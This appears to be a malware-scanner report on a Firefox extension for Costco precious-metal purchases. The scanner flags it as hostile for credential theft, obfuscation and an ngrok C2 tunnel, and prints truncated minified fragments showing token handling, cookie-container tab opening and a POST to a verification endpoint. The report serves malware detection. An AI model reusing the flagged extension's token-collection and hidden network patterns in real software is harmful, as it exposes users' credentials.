Hostile 92% firefox 8 installs Download

Costco Tools by RestockBotAlerts 1.6.7

Credential theft, obfuscation, C2 tunnel

“Costco precious metals: live spot premium, buyer payouts, one-click cart, purchase limits, order export. Subscribers only.”

JavaScript fetch JSON POST to OOBJSON POST to OOB sink suppresses errors

Evidence

References an ngrok-free tunnel domain service-worker.js · line 1
1(()=>{var qr=["trial","trialing","active","paused"];var Wr="gold";function mt(e){return qr.includes(String(e??"").toLowerCase())}function Qr(e){return String(e?.tier??"").toLowerCase()===Wr}function Jr(e,r){let t=e?.flags;return!t||typeof t!="object"||Array.isArray(t)?!0:t[r]!==!1}function yt({now:e=()=>Date.now(),recheckIntervalMs:r=18e5,retryIntervalMs:t=3e5,failOpenGraceMs:n=864e5}={}){let a=0,o={verified:!1,status:null,tier:null,flags:null,token:null,refresh:null,lastCheck:0,awaitingRetry:!1,lastAuthoritativeAt:0,unavailableSince:0};function c(s){let u=!!s&&s.networkError!==!0,i=!!s&&s.ok===!0&&mt(s.status),l=i?s.token??o.token:null,d=i?s.refresh??o.refresh:null,f=i&&!!(l||d);return o={verif
Generic token getter function service-worker.js · line 1
1:2058){return o.flags&&typeof o.flags=="object"&&!Array.isArray(o.flags)?{...o.flags}:o.flags},featureEnabled(s){return Jr(o,s)},isAwaitingRetry(){return o.awaitingRetry},getToken(){return o.token},tryLocalStatusOverride(s){return o.status=s,this.getAccessState()},serialize(){return{verified:o.verified,status:o.status,tier:o.tier,flags:o.flags,token:o.token,refresh:o.refresh,lastCheck:o.lastCheck,aw
JavaScript silently discards caught errors service-worker.js · line 1
1:14029h.ok,f=_?[]:[{url:t,active:o===!0}]}let y=await Promise.all(f.map(h=>Sn(u,h))),g=y.filter(h=>h.ok).map(h=>h.cookieStoreId);typeof c=="function"&&y.filter(h=>h.ok&&Number.isInteger(h.tabId)).forEach(h=>{try{c(h.tabId,h.cookieStoreId)}catch{}});let w=_?1:g.length;return w===0?{...s("tab-failed"),...d?{fellBack:d}:{}}:(_?`${a}`:`${g.length}${f.length}`,{ok:!0,opened:w,requested:_?1:f.length,viaContainers:m,cookieStoreIds:g.filter(h
Configures an HTTP POST request service-worker.js · line 1
1:47495api/extension/push-key`,Ks=`${O}/api/push-subscription`;var eo="https://nzcbrnvrutvacaaxypzb.supabase.co/functions/v1/verify",pt="costco-ext:recheck",ue=Ke,to=3e5/6e4,p=yt(),ht=(async()=>{try{let e=await chrome.storage.local.get(ue);p.hydrate(e[ue]),p.canUse()&&(await zr(),p.needsRecheck()&&(await p.recheck(ce),await De()))}catch{}})();async function ce(e){try{let r=await fetch(eo,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)}),t=null;try{t=await r.json()}catch{t=null}return r.ok?t??{ok:!1,networkError:!0}:{ok:!1,networkError:!0,httpStatus:r.status,...t||{}}}catch{return{ok:!1,networkError:!0}}}var ro=O;async function no(e){if(!e||typeof e.url!="string")return{ok:!1,error:"bad request"};let r=kt(e.url,e.method,ro);if(!r.allowed)return{ok:!1,error:
Adjacent numeric weak password tokens popup.js · line 1
1(()=>{var Yt="panelSpotCollapsed",jt="panelHistoryCollapsed",Xt="panelWishlistCollapsed",$t="panelHistoryShown",Ht="panelWishlistShown",Jn=Object.freeze([Object.freeze({id:"spot",key:Yt,hideKey:null,label:"Premium over spot"}),Object.freeze({id:"history",key:jt,hideKey:$t,label:"Premium history"}),Object.freeze({id:"wishlist",key:Xt,hideKey:Ht,label:"Add to wishlist",alwaysShownWhenSoldOut:!0})]),gd=Object.freeze(Jn.map(e=>e.id)),er=Object.freeze(Jn.filter(e=>e.hideKey!==null));function Ci(e){return typeof e!="string"?null:Jn.find(t=>t.id===e)||null}function tr(e,t,n={}){let r=Ci(e);return r?{collapsed:(t&&typeof t=="object"?t[r.key]:void 0)===!0,hidden:Si(r,t,n)}:{collapsed:!1,hidden:!1

Showing the top 5 files — 2 more files (27 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.